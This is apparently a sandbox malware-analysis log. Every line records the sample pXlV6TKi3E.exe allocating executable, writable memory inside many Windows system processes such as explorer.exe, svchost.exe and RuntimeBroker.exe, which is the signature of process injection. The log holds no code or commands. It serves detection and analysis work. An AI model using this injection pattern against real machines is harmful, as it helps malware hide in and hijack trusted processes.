      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\explorer.exe base: 3300000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dllhost.exe base: FC0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: 140000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe base: 8C0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 420000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\smartscreen.exe base: 690000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 3D0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.8827.22055.0_x64__8wekyb3d8bbwe\HxTsr.exe base: 7F0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: B80000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 310000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dllhost.exe base: 560000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 80000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: 930000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: 1020000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dwm.exe base: 300000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\sihost.exe base: D20000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 880000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 450000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\ctfmon.exe base: 5A0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\explorer.exe base: 3330000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dllhost.exe base: FD0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: 150000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe base: 8D0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 430000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\smartscreen.exe base: 6A0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 3E0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.8827.22055.0_x64__8wekyb3d8bbwe\HxTsr.exe base: 800000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: B90000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 320000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dllhost.exe base: 570000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 90000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: 940000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: 1030000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dwm.exe base: 310000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\sihost.exe base: D30000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 890000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 460000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\ctfmon.exe base: 5B0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\explorer.exe base: 4BA0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dllhost.exe base: FE0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: 160000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe base: 8E0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 440000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\smartscreen.exe base: 6B0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 3F0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.8827.22055.0_x64__8wekyb3d8bbwe\HxTsr.exe base: 810000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: BA0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 330000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dllhost.exe base: 580000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: A0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: 950000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: 1040000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dwm.exe base: 320000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\sihost.exe base: D40000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 8A0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 470000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\ctfmon.exe base: 5C0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\explorer.exe base: 52D0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dllhost.exe base: FF0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: 170000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe base: 8F0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 450000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\smartscreen.exe base: 6C0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 400000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.8827.22055.0_x64__8wekyb3d8bbwe\HxTsr.exe base: 820000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: BB0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 340000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dllhost.exe base: 590000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: B0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: 960000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: 1050000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dwm.exe base: 330000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\sihost.exe base: D50000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 8B0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 480000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\ctfmon.exe base: 5D0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\explorer.exe base: 14F0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dllhost.exe base: 1000000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: 180000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe base: 900000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 460000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\smartscreen.exe base: 6D0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 410000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.8827.22055.0_x64__8wekyb3d8bbwe\HxTsr.exe base: 830000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: BC0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 350000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dllhost.exe base: 5A0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: C0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: 970000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: 1060000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dwm.exe base: 340000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\sihost.exe base: D60000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 8C0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 490000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\ctfmon.exe base: 5E0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\explorer.exe base: 5730000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dllhost.exe base: 1010000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: 190000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe base: 910000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 470000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\smartscreen.exe base: 6E0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 420000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.8827.22055.0_x64__8wekyb3d8bbwe\HxTsr.exe base: 840000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: BD0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 360000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dllhost.exe base: 5B0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: D0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: 980000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: 1070000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dwm.exe base: 350000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\sihost.exe base: D70000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 8D0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 4A0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\ctfmon.exe base: 5F0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\explorer.exe base: 5830000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dllhost.exe base: 1020000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: 1A0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe base: 920000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 480000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\smartscreen.exe base: 6F0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 430000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.8827.22055.0_x64__8wekyb3d8bbwe\HxTsr.exe base: 850000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: BE0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 370000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dllhost.exe base: 5C0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: E0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: 990000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: 1080000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dwm.exe base: 360000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\sihost.exe base: D80000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 8E0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 4B0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\ctfmon.exe base: 600000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\explorer.exe base: 57B0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dllhost.exe base: 1030000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: 1B0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe base: 930000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 490000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\smartscreen.exe base: 700000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 440000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.8827.22055.0_x64__8wekyb3d8bbwe\HxTsr.exe base: 860000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: BF0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 380000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dllhost.exe base: 5D0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: F0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: 9A0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: 1090000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dwm.exe base: 370000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\sihost.exe base: D90000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 8F0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 4C0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\ctfmon.exe base: 610000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\explorer.exe base: 57C0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dllhost.exe base: 1040000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: 1C0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe base: 940000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 4A0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\smartscreen.exe base: 710000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 450000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.8827.22055.0_x64__8wekyb3d8bbwe\HxTsr.exe base: 870000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: C00000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 390000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dllhost.exe base: 5E0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 100000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: 9B0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: 10A0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dwm.exe base: 380000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\sihost.exe base: DA0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 900000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 4D0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\ctfmon.exe base: 620000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\explorer.exe base: 5860000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dllhost.exe base: 1050000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: 1D0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe base: 950000 protect: page execute and read and writeJump to behavior
